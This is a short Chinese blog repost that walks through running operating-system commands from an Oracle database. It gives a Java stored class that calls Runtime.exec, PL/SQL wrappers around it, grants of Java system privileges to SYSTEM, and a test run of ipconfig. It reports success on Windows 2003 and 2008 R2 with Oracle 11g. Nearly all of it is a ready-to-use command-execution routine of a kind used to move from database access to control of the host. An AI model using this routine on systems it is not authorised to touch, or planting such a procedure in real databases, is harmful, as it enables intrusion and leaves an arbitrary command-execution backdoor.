oracle在c批量执行命令,利用oracle执行系统命令!

c:\1.sql

create or replace and compile

java souRCe named "util"

as

import java.io.*;

import java.lang.*;

public class util extends Object

{

public static int RunThis(String args)

{

Runtime rt = Runtime.getRuntime();

int RC = -1;

try

{

Process p = rt.exec(args);

int bufSize = 4096;

BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);

int len;

byte buffer[] = new byte[bufSize];

// Echo back what the program spit out

while ((len = bis.read(buffer, 0, bufSize)) != -1)

System.out.write(buffer, 0, len);

RC = p.waitFor();

}

catch (Exception e)

{

e.printStackTrace();

RC = -1;

}

finally

{

return RC;

}

}

}

c:\2.sql

create or replace

function RUN_CMz(p_cmd in varchar2) return number

as

language java

name 'util.RunThis(java.lang.String) return integer';

c:\3.sql

create or replace procedure RC(p_cmd in varChar)

as

x number;

begin

x := RUN_CMz(p_cmd);

end;

登陆上去后依旧是依次执行

SQL> @c:\1.sql

/

@c:\2.sql

/

@c:\3.sql

/

variable x number;

set serveroutput on；

exec dbms_java.set_output(100000);

grant javasyspriv to system；

grant javauserpriv to system;(网上的方法没有这一行，我无法成功，加上去可以)

exec :x:=run_cmz('ipconfig'); 成功运行了命令

测试环境win2003+oracle11g

我在win2008r2+oracle11g成功

转自：

http://blog.chinaunix.net/uid-42741-id-3048036.html